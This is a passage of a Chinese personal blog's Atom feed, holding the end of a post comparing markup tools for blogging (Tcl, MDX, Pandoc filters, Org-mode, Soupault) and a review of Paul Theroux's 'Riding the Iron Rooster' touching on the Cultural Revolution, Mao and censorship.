&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    code c {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;int main() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;code函数的第一个参数是代码语言，第二个参数是代码。&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;code函数把两个参数交给命令行程序chroma来得到高亮后的HTML。&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    );&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    ……&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;虽然看起来和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pollen&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;很像：每个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tag&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都是函数（具体定义在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;wooosh&#x2F;blog&#x2F;blob&#x2F;master&#x2F;markup.tcl&quot;&gt;markup.tcl&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，但理念不完全相同：Pollen&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;将文档视为树，通过遍历节点把自定义&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tag&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;转化为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tag；而这个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Tcl&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;程序的函数只是按顺序向字符串尾部拼接&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;片段（在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;markup.tcl&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。StackOverflow&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上有&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;1732348&#x2F;regex-match-open-tags-except-xhtml-self-contained-tags&quot;&gt;一名篇指出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不该用正则表达式解析&lt;&#x2F;a&gt;，我想说的是：HTML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也不该用字符串拼接的方式生成。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;在Markdown里插入代码&quot;&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里插入代码&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;MDX&quot;&gt;MDX&lt;&#x2F;h3&gt;
&lt;p&gt;就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown +
JSX，没什么好说的。看起来挺好，但是依赖&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Node.js。&lt;&#x2F;p&gt;
&lt;p&gt;我曾经尝试使用它，直到在一个叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hashicorp&#x2F;next-mdx-remote#how-can-i-build-a-blog-with-this&quot;&gt;next-mdx-remote&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的库的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;README&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里看到了这段劝退：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Data has shown that 99% of use cases for all developer tooling are
building unnecessarily complex personal blogs. Just kidding. But
seriously, if you are trying to build a blog for personal or small
business use, consider just using normal html and css. You definitely
do not need to be using a heavy full-stack javascript framework to
make a simple blog. You&#x27;ll thank yourself later when you return to
make an update in a couple years and there haven&#x27;t been 10 breaking
releases to all of your dependencies.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;Pandoc_filters&quot;&gt;Pandoc filters&lt;&#x2F;h3&gt;
&lt;p&gt;这是我目前使用的方法，详情在《&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;&quot;&gt;用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pandoc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;转成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。其实&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pandoc
filters&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以干的活，放在别的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;解析器上也可以干。选择&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pandoc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的原因是它只有一个二进制文件（内嵌了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;解释器&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，而且可以输出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;为什么不用Org-mode&quot;&gt;为什么不用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Org-mode&lt;&#x2F;h3&gt;
&lt;p&gt;Org-mode&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;相对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有更多的功能以及根植于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Emacs&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的可扩展性。然而正是因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Org-mode&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;功能太丰富我才选择扩展&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown——扩展的平台必须足够简单，才能让扩展完的成果保持简单。&lt;&#x2F;p&gt;
&lt;p&gt;当然，Org-mode&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只有在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Emacs&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中才能获得良好体验也是我选择&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的原因之一。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Soupault&quot;&gt;Soupault&lt;&#x2F;h2&gt;
&lt;p&gt;前面的方法都聚焦于如何生成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;soupault.app&#x2F;&quot;&gt;Soupault&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;着眼于如何转化（其他方法生成的）HTML。类似&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pandoc，它也有跨平台的二进制文件，内置&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;解释器让你尽情扩展。&lt;&#x2F;p&gt;
&lt;p&gt;我不想手写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML，也不想在用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Soupault&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之前先用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pandoc&#x2F;cmark&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;生成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML，所以没有用它。但是它选择从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;出发这一点很有趣。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;control-your-markup-language
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;control-your-markup-language&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>保罗・索鲁的《铁公鸡》</title>
    <published>2022-10-19T00:20:23+01:00</published>
    <updated>2023-04-19T21:37:07+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/riding-the-iron-rooster/" type="text/html" />
    <id>https://emptystack.top/riding-the-iron-rooster/</id>
    <content type="html">
      &lt;p&gt;六七月我整理&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;&quot;&gt;土耳其游记&lt;&#x2F;a&gt;时，第一次发现将旅行见闻汇编并公开是很有意思的事情。自然，我开始好奇职业作家写的游记。&lt;&#x2F;p&gt;
&lt;p&gt;由于足够有趣的试读章节和勾起回忆的绿皮车封面，我购买了保罗・索鲁的《在中国大地上：搭火车旅行记&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。这本书讲了作者在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1986&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年从伦敦坐火车到内蒙，然后在中国搭火车游玩一年的经历。&lt;&#x2F;p&gt;
&lt;p&gt;本书原标题是《Riding the Iron
Rooster&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，我也因此更倾向叫这本书《铁公鸡&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。铁公鸡是北京到乌鲁木齐线的外号，用来形容那趟列车条件差。最近&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;AI&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;绘图很火，我想试试&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;huggingface.co&#x2F;spaces&#x2F;stabilityai&#x2F;stable-diffusion&quot;&gt;Stable
Diffusion&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;能不能猜出“Riding
the Iron
Rooster”是指火车旅行。结果生成的图片里大部分是骑马的场景，唯一一只公鸡还长着马腿：&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;iron-rooster-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;iron-rooster-optim.jpg&quot;
	alt=&quot;拥有马一样四肢的黑色公鸡站在树上&quot;
	height=&quot;512&quot;
	width=&quot;512&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h2 id=&quot;游记就是充满偏见的&quot;&gt;游记就是充满偏见的&lt;&#x2F;h2&gt;
&lt;p&gt;我在写土耳其游记时很担心我所写的内容和客观的土耳其并不相同。保罗就没有我的烦恼，他在第一章就声明了：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;旅行者的叙述，实质上都是关于“被误解”的故事。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;实际上保罗不止讲述被误解的故事，而且他更注重讲述个人的感受：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;旅行者在书中自我表达的成分，往往要多过他对于所到国家的介绍。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我写土耳其游记的出发点是不想浪费旅行的那段时光——怎样才能充分利用？我的第一直觉是：把逛过的景点都介绍一遍！所以土耳其那两篇基本只讲了景点。结果朋友看过后说像导游写的。&lt;&#x2F;p&gt;
&lt;p&gt;保罗与我不同，他不喜欢逛景点，甚至不理解为什么要逛景点：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;旅行中比较令人不解的一件事就是去景点参观。对于来中国的旅行者而言，这是他们所能做的最无益的事情之一，简直就是浪费精力，很多时候连娱乐消遣都算不上。它带来的疲惫感完全不亚于朝圣仪式，却不会给人半点精神上的慰藉。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这完全属于何不食肉糜了：普通人要有一年的时间体验整个国家，当然会逛景点之外的地方了。虽说他不爱参观景点，却还是去了并爱上了兵马俑。&lt;&#x2F;p&gt;
&lt;p&gt;不过话说回来，保罗不爱参观景点，可不代表他不会景色描写。他的观察细致入微，在描写火车外的景色时，我只能说&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;falkirk-wheel&#x2F;#%E9%93%81%E9%81%93%E6%97%85%E8%A1%8C&quot;&gt;像地铁广告一样无聊&lt;&#x2F;a&gt;，保罗却能写出“他们透过车窗望向外面的房屋，而那些房屋也还以同样的目光&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;p&gt;除去保罗对车窗外景色的出色描写，本书就只剩下保罗的自我表达了（其实还有大量对话，但它们只是被挑选出来用于表达作者想法的对话——这一点我的游记也类似&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。如今看来错得离谱的一例：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;我开始想象，如果计算机集体爆炸，卫星全部被烧毁，所有的喷气式客机都从空中坠落，我们最终从高科技的梦中醒来，很久很久以后，中国人应该还在开着那些呼哧呼哧的火车继续前进，他们应当仍在古老的梯田上耕作，心满意足地生活在窑洞里，用羽毛笔蘸着瓶里的墨水，书写着自己的历史。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;archive.nytimes.com&#x2F;www.nytimes.com&#x2F;books&#x2F;97&#x2F;06&#x2F;08&#x2F;reviews&#x2F;theroux-ironrooster.html&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;纽约时报》在这本书刚出版时发表了书评&lt;&#x2F;a&gt;。书评最后这样结尾：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;他经常评价中国而不是描述中国——而评价与描述都来自很有限的视角。最后的结果就是对中国充满意见、无关紧要又不完全的肖像。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我同意书评的看法：这是本十分主观的游记。但别搞错了，这是在夸这本书，因为片面的视角往往带来有趣的画面。还拿上面那个想象来说，现在读起来不就像读早期科幻作品一样好玩么？&lt;&#x2F;p&gt;
&lt;p&gt;在旅游时我很苦恼如何拍照，因为拍得再好，顶多就是比肩景点十块三张的明信片。如果每个人拍的照片相似，怎么证明你来过某地？答案是把经历讲出来，讲得越个人越好。如果让保罗像我一样介绍每个景点，恐怕他也只能写出文采更好的导游词。说白了，游记作者不是百科全书的编辑，游记也不是词条。我不反对游记向读者介绍相关知识（这点保罗做的也不错&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，但游记中有趣的地方，其实是作者的主观评论——不管事后来看是判断对了还是判断错了。&lt;&#x2F;p&gt;
&lt;p&gt;我有个同学曾经想写伦敦游记，但是他很快放弃了。他说因为他去的都是大众景点，所以再怎么写也不会比别人写的好。这个例子正好可以反衬保罗的思路：少参观景点，多输出自己的想法。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;文革&quot;&gt;文革&lt;&#x2F;h2&gt;
&lt;p&gt;在刚开始读这本书时，我没想到作者保罗是如此地关注人们对文革的看法。他关注的原因是因为他曾受过影响：文革发生时保罗正在非洲，那时中国尝试在非洲扩大影响力，因此保罗读过《毛主席语录》和《北京周报&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，而且他曾经自认为一名革命者。&lt;&#x2F;p&gt;
&lt;p&gt;二十年后他又来到了中国。每到一个新的城市，他都要问碰见的人如何看待文革。得到的答案当然也是否定文革。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;你不觉得文化大革命取得了什么成就吗&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;”&lt;br &#x2F;&gt;
&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;完全没有，而且失去了很多东西。我们浪费了很多时间……每个人都感到很迷茫&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;br &#x2F;&gt;
&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;你们到什么时候才不再感到迷茫&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;”&lt;br &#x2F;&gt;
&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;直到邓小平上台，打开了中国的大门&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”小彭说。&lt;br &#x2F;&gt;
&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;中国历史上有那么多短暂的过渡期，这也许只是其中一段&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;br &#x2F;&gt;
&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;我希望时间长一些&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”小彭说道。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;值得注意的是，现在文革有回潮的势头。我问了一个热衷政治，整日研究谢林哲学的同学支不支持文革。那同学说文革也分好多阶段，我问他整体上怎么看，他说支持。&lt;&#x2F;p&gt;
&lt;p&gt;还有一段对文革的回答让我印象深刻：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;如果你亲身经历了这些变化，就会觉得它们来得很慢&lt;span class=&quot;halt&quot;&gt;，&lt;&#x2F;span&gt;”一个年轻人说道，&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;只是因为你是外国人，从局外人的角度看，才会觉得我们发生了剧变。对我们自己来说，这些变化都太慢了&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;如果我未来遇到什么剧变的话，也许会因为这句话而平静一些。今年是不太平的一年，但如果仔细体验的话，也许会知道明年将发生什么。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;毛主席&quot;&gt;毛主席&lt;&#x2F;h2&gt;
&lt;p&gt;提到文革就一定会提毛主席的功与过。书里有人仍记得毛主席的好（她说，&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;毛主席为中国做了很多伟大的事。现在大家都批判他，却忘了他也说过很多有智慧的话&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，但年轻人“没有成长在毛泽东时代，所以对于这位老人的态度也是模棱两可。实际上，我有时同年轻人谈话，会发现他们还不如我对毛泽东狂热&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;p&gt;保罗认为毛主席是“中国历史上最具吸引力也最难以盖棺论定的人物&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，他听了青岛学生对毛主席的负面评论，曾经想劝对方认同毛主席，但放弃了：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;听了他的话，我本想用“你说的没错，但是…&lt;span class=&quot;halt&quot;&gt;…&lt;&#x2F;span&gt;”之类的话来应对，可我为什么要费劲去劝他们认同毛泽东呢？他们的余生都要在这里度过，我却可以想走就走。最终是他们要决定如何对待关于毛泽东的记忆，不是我。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;如今决定如何看待毛主席的是现在的年轻人。以我的观察，近年来年轻人们重新爱戴起了毛主席——与之相伴的是曾经的“马爸爸”变成过街老鼠，以及“资本家”和“吊路灯”等词汇使用频率的增加。&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;今日欢呼孙大圣，只缘妖雾又重来”是解释这股热潮的最好理由：年轻人感到挣大钱无望了，所以开始期盼起共产主义。不过从&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;archive.ph&#x2F;lJ10k&quot;&gt;上海人反对财政转移支付&lt;&#x2F;a&gt;来看，大家似乎不喜欢“先富带动后富&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，只接受“比我更富的带动我&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;删减与内参书&quot;&gt;删减与内参书&lt;&#x2F;h2&gt;
&lt;p&gt;用脚趾头想都知道，以文革为核心内容的书能在大陆出版一定是删减过的：正如译后记所说，&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;翻译永远是遗憾工程&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。也许有一天闲下来我会阅读本书的原文，但和&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;mad-max&#x2F;&quot;&gt;电影&lt;&#x2F;a&gt;类似，我看书也极少看第二遍。对这本书，我目前没有读第二遍的动力。&lt;&#x2F;p&gt;
&lt;p&gt;在确认手上这版有删减之后，我想起了书中的一个故事。作者在美驻华大使夫人的晚宴上遇见了《1984》的翻译者董乐山。董乐山说跟保罗说：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;其实，限制此类书籍流通的正是中国知识分子本身。这些顽固不化的学究们并不习惯于借书给那些凡夫俗子，认为后者读过以后可能形成错误的观点。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;虽然保罗发现厦门的《1984》可以随意借阅，但不信任普通民众的现象到现在仍然存在：本书的删减就是一例。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;离别与笑&quot;&gt;离别与笑&lt;&#x2F;h2&gt;
&lt;p&gt;保罗很爱归纳中国人的特点，有两个特点他反复提及：离别总是很突然，以及不止代表高兴的笑。&lt;&#x2F;p&gt;
&lt;p&gt;离别突然指宴席总是在一瞬间结束，或者和别人再见时没有不舍：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;田先生耸耸肩，和我握了握手，一个字也没说便走开了。这就是中国人的告别方式：不会徘徊逗留，不会交换地址，不会依依不舍，不会有任何的多愁善感。他们只是在离别时刻背过身去，因为从此你将不再重要，因为他们还有那么多其他的事情要操心。就像中国人聚餐之后的分别一样，大幕砰然落下，然后大家都消失不见。虽然这样的分别方式有些敷衍，但我并不在意——这显然让他们远离了虚伪。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这与我的经历不符：吃完饭接着去对方家聊天是常有的事；离别时也总是会拥抱。之所以保罗有中国人离别利索的感受，是因为——让我引用前面书评的话——他在中国没有朋友：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;打个比方，大部分美国人会如何对待在我们国家旅游，通过被指派的国务院翻译询问关于美国中部和越南问题的俄罗斯作家？由于各种原因，索鲁先生遇到的大部分人都把他当作有钱的旅客或者有敌意的外国记者，并这样对待他。他们对他的举止不能被认为是典型的中国人行为。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;保罗说外国专家“一旦不再发挥作用，就会被送回家&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，如果确有此事的话，大概率还是因为没有朋友。&lt;&#x2F;p&gt;
&lt;p&gt;保罗归纳的另一个特质，是中国人的笑从来不表示高兴：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;对于中国人来说，不停地大笑是一种焦虑的表现，而轻快地偷笑则意味着有些东西出了很严重的差错。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;他这一笑来得很迫切，似乎在对我说：求你不要问我任何问题！后来他转过脸去，眉头又皱了起来。这样的行为方式也非常具有中国特色。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这让我感到奇怪，难道外国人没有用笑表示尴尬的情况么？如果真没有，那这个特点可以说抓的很准。时移境迁，现在&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=ojbJrdkPhGg&quot;&gt;美国人才是笑得太多的奇怪人群&lt;&#x2F;a&gt;——忘了说，保罗是意裔美国人。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;民族矛盾&quot;&gt;民族矛盾&lt;&#x2F;h2&gt;
&lt;p&gt;这几年民族问题和背后的国土问题被经常挑起。我没有去过新疆和西藏，但从互联网上看，似乎矛盾在新疆远比西藏大。从书里看，1986&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的情况正相反。&lt;&#x2F;p&gt;
&lt;p&gt;来自边境，长得像土耳其人的维族同胞认同自己是中国人：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;他的汉语水平和我一样有限，但土耳其语和阿拉伯语却说得和母语维吾尔语一样流利。他说自己来自苏联哈萨克斯坦与新疆交界处的塔城，离乌鲁木齐大概
